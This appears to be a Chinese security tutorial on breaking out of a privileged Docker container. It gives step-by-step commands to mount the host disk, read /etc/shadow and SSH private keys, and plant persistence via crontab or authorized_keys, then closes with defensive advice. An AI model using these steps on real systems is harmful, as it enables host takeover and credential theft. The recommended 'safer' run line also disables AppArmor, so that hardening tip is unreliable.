打进一台服务器,发现自己身处 Docker 容器内——这是云上渗透测试的常见场景。容器逃逸的目标是突破隔离边界,从容器内部控制宿主机。本文以特权模式逃逸为核心,完整梳理原理、判断方法与利用过程。

一、容器逃逸的背景与意义

Docker 通过 Linux 的命名空间(Namespace)和控制组(Cgroup)实现进程隔离,容器内的进程理论上无法感知或影响宿主机和其他容器。但这套隔离机制并非无懈可击,在以下场景中存在被突破的可能:

  • 特权模式启动:容器获得与宿主机几乎等价的内核权限
  • 危险挂载:Docker Socket、宿主机目录被挂载进容器
  • 内核漏洞:利用宿主机内核 CVE 实现跨命名空间逃逸
  • 镜像供应链污染:镜像本身被植入后门,攻击从拉取镜像时就已开始

本文重点讨论特权模式逃逸,这是目前最直接、也最常见的容器逃逸路径之一。

二、Docker 基础操作回顾

在进入攻防内容前,先梳理实验环境所需的基础命令:

# 拉取并运行镜像(映射端口)
docker run -it -p 8080:80 --name dvwa1 sagikazarmark/dvwa

# 查看本地镜像列表
docker images

# 直接进入容器 Shell
docker run --name=dvwa1 -it sagikazarmark/dvwa /bin/bash

# 查看运行中的容器
docker ps

# 查看所有容器(包括已停止)
docker ps -a

# 启动 / 停止已有容器
docker start dvwa1
docker stop dvwa1

# 删除容器
docker rm dvwa1

三、判断当前是否处于容器环境

进入一台主机后,首先需要判断自己是在宿主机上还是容器内部。以下三种方法可以交叉验证:

# 方法一:检查 cgroup 信息,容器内通常包含 "docker" 字样
cat /proc/1/cgroup | grep -qi docker && echo "in docker" || echo "not docker"

# 方法二:查看根目录,容器内存在 .dockerenv 文件
ls -la /

# 方法三:查看磁盘设备,容器内通常看不到完整的块设备列表
fdisk -l

三个特征同时满足,基本可以确认身处 Docker 容器:cgroup 中包含 docker 字样、根目录存在 .dockerenv 文件、fdisk -l 输出异常或无法看到完整磁盘信息。

四、特权模式的原理与风险

为什么会开启特权模式

特权模式(--privileged)并非攻击者的产物,它有真实的业务需求:某些容器内的服务(如需要操作内核模块、访问硬件设备、运行嵌套虚拟化等)在普通模式下 CPU 利用率异常高或功能受限,开启特权模式后与宿主机内核直接交互,问题消失。

这是一个典型的"便利性换安全性"的权衡,而在安全意识不足的团队中,特权模式往往被滥用为"万能解决方案"。

特权模式意味着什么

普通容器的 Linux Capabilities 被严格裁剪,而特权容器几乎保留了全部 Capabilities,包括 CAP_SYS_ADMIN——这个权限允许挂载文件系统,是实现逃逸的核心能力。

# 查看当前容器的有效权限位
cat /proc/self/status | grep CapEff

# 普通容器输出(大量权限被移除)
CapEff: 00000000a80425fb

# 特权容器输出(接近全 f,权限极高)
CapEff: 0000003fffffffff

权限位中出现大量 f 是特权模式的典型特征。

五、特权模式逃逸完整步骤

第一步:启动特权模式容器(模拟已进入的场景)

docker run --rm --privileged=true -it alpine /bin/sh

第二步:在容器内确认特权状态

# 确认在容器环境中
cat /proc/1/cgroup | grep docker

# 确认根目录存在 .dockerenv
ls -la /

# 确认高权限
cat /proc/self/status | grep CapEff

第三步:查看宿主机磁盘设备

fdisk -l
# 输出中可以看到宿主机的真实磁盘,如 /dev/sda1
# 这是普通容器中看不到的

第四步:挂载宿主机磁盘,实现文件系统访问

# 创建挂载点
mkdir /test

# 将宿主机根分区挂载到容器内的 /test 目录
mount /dev/sda1 /test

# 查看挂载内容——这就是宿主机的文件系统
ls /test

挂载成功后,/test 目录的内容即为宿主机的完整文件系统。此时容器与宿主机之间的隔离已完全失效。

第五步:在挂载目录中操作宿主机文件

cd /test

# 读取宿主机上的敏感文件
cat /test/etc/shadow
cat /test/root/.ssh/id_rsa

# 写入文件,验证与宿主机的互通
mkdir /test/pwned

# 在宿主机上可以直接找到这个目录,确认逃逸成功

攻击者在 /test 下创建的任何文件或目录,在宿主机的对应路径下都会真实存在。进一步的利用方式包括:向宿主机的 crontab 写入定时任务、向 /root/.ssh/authorized_keys 写入公钥实现 SSH 免密登录,最终完全控制宿主机。

六、完整攻击链总结

进入容器(Web 漏洞 / 镜像后门)
        │
        ▼
判断是否处于 Docker 环境
(cgroup / .dockerenv / fdisk)
        │
        ▼
检测是否为特权模式
(CapEff 是否接近全 f)
        │
        ▼
fdisk -l 查看宿主机磁盘设备
        │
        ▼
mount /dev/sda1 /test
挂载宿主机文件系统
        │
        ├─→ 读取 /etc/shadow、SSH 私钥等敏感文件
        ├─→ 写入 SSH 公钥,建立持久化访问
        └─→ 写入 crontab,植入后门

七、防护建议

不要滥用特权模式:特权模式应被视为最后手段,绝大多数业务需求可以通过精细化 Capabilities 配置解决。例如仅需挂载操作时,只添加 CAP_SYS_ADMIN 而非开启完整特权。

# 推荐:按需添加单个 Capability,而非开启 --privileged
docker run --cap-add SYS_ADMIN --security-opt apparmor=unconfined ...

定期审查容器启动参数:对生产环境中所有容器的启动命令进行审计,重点检查是否存在 --privileged-v /:/host 等高危参数。

使用安全扫描工具:在 CI/CD 流水线中集成容器安全扫描(如 Trivy、Falco),对镜像漏洞和运行时异常行为进行持续监控。

限制容器对宿主机设备的访问:在非必要场景下,通过 seccomp、AppArmor 等 Linux 安全模块进一步约束容器的系统调用范围,即使特权模式被开启也能增加逃逸难度。

总结

特权模式逃逸的本质是:将容器对宿主机内核的完整访问权,转化为对宿主机文件系统的完整读写权。整个过程不依赖任何 CVE,只需要四条命令:确认特权状态、查看磁盘设备、挂载根分区、操作文件系统。

对于防御方而言,杜绝特权模式的滥用是成本最低、效果最直接的措施。容器安全的核心原则与传统安全一致:最小权限。给容器的权限越少,攻击者能做的事就越少。

更多推荐